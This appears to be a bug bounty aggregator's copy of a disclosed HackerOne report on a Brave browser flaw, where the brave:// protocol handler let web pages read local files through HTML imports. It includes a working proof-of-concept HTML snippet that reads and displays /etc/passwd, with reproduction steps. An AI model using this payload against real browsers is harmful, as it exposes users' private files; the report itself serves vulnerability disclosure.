Skip to content
Info disclosure Disclosed report Intermediate

Local files reading from the web using `brave://`

The brave:// protocol handler allowed web pages to read local files via HTML imports, similar to a previous file:// vulnerability. An attacker could craft a page that reads and displays the contents of local files such as /etc/passwd.

metnew Follow

Originally disclosed on HackerOne

Critical View original
  • Fixed in 19 hours
  • Paid in 20 hours
  • Disclosed after 53 days

Summary:

brave:// protocol was introduced as a replacement for AsarProtocolHandler(or something like that) in brave/muon after #375329.

However, fix for #375329 introduced a new much severe bug that allows reading files from a user's device from the web.

PoC is similar to #375329, but it uses brave:// instead of file://:

<head>
    <script>
        function show() {
            var file = link.import.querySelector('body')
            alert(file.innerHTML)
        }
    </script>
    <link id="link" href="brave:///etc/passwd" rel="import" as="document" onload="show()" />
</head>

Products affected:

Brave: 0.23.73 V8: 6.8.275.24 rev: 50bdb6df42550dd14f5636770ec8585aa26e361b Muon: 8.0.3 OS Release: 17.7.0 Update Channel: Release OS Architecture: x64 OS Platform: macOS Node.js: 7.9.0 Brave Sync: v1.4.2 libchromiumcontent: 68.0.3440.75

Steps To Reproduce:

  1. Open exploit.html from the web
  2. Page alerts contents of file:///etc/passwd

Supporting Material

Screencast attached.

Impact

Reading local files from the web is a critical vulnerability. I'm investigating this issue more detailed now, maybe impact is much severe than reading local files.

Attachments

brave-read-local-files-from-the-web.mp4 From the original on HackerOne

The original report as published on HackerOne, by metnew. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

Likely the brave:// protocol handler introduced by the fix for #375329 allowed HTML imports to load local files from a web page.

Impact

An attacker could read arbitrary local files from a victim's device, which is a critical vulnerability; the reporter suspects the impact may be more severe.

What the attacker needed

Victim opens a malicious web page; Brave browser version 0.23.73

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

A web page can normally only access files you explicitly upload. Here, a flaw in the Brave browser let a malicious page silently read files stored on your computer, like a password file, just by opening the page.

What is Info disclosure?

Data the application should keep private (personal data, internal details, other users' records) reaches someone it should not.

More by metnew

View all

25 more disclosed reports, best first.

More from Brave Software

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Information disclosure

The lesson behind this report.

Data the application should keep private (personal data, internal details, other users' records) reaches someone it should not.